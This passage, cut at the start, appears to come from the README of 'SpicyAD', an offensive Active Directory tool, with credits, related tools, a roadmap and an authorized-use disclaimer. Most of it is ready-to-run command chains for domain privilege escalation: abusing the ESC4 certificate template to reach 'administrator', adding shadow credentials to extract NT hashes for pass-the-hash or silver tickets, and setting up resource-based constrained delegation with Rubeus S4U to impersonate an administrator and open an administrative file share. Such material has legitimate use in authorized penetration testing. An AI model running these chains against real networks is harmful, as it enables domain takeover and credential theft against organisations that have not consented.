.\SpicyAD.exe esc4 list
# 2. Run full attack chain (template is automatically restored)
.\SpicyAD.exe esc4 /template:ESC4 /target:administrator /sid# 1. Add shadow credential to target machine
.\SpicyAD.exe shadow-creds add /target:SERVER$ /sid
# 2. NT hash is automatically extracted via PKINIT
# 3. Use hash for pass-the-hash or silver ticket# 1. Set RBCD
.\SpicyAD.exe rbcd set /target:SERVER$ /controlled:YOURPC$
# 2. Use Rubeus for S4U
Rubeus.exe s4u /user:YOURPC$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/SERVER.evilcorp.net /ptt
# 3. Access target
dir \\SERVER\C$
# 4. Cleanup
.\SpicyAD.exe rbcd clear /target:SERVER$ /force| Tool | Author | Description |
|---|---|---|
| Rubeus | @harmj0y | Kerberos abuse toolkit |
| Certify | @harmj0y | AD CS enumeration and abuse |
| Whisker | @elaboratehub | Shadow Credentials attack |
| Certipy | @ly4k | AD CS exploitation (Python) |
| SharpHound | BloodHound Team | BloodHound data collector |
| Resource | Author | Description |
|---|---|---|
| Certified Pre-Owned | SpecterOps | AD CS vulnerabilities whitepaper |
| Shadow Credentials | Elad Shamir | Shadow Credentials research |
| The Hacker Recipes | @_nwodtuhs | AD attack documentation |
This tool is intended for authorized penetration testing and security research only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before using this tool.
YOU, the real infosec gurus, from whom I have learned so much. (Elad samir, HarmJ0y, Charlie Bromberg ...)
For educational and authorized security testing purposes only.
- Delegations attacks
- SCCM enumeration
- More ADCS
- Better share enumeration...
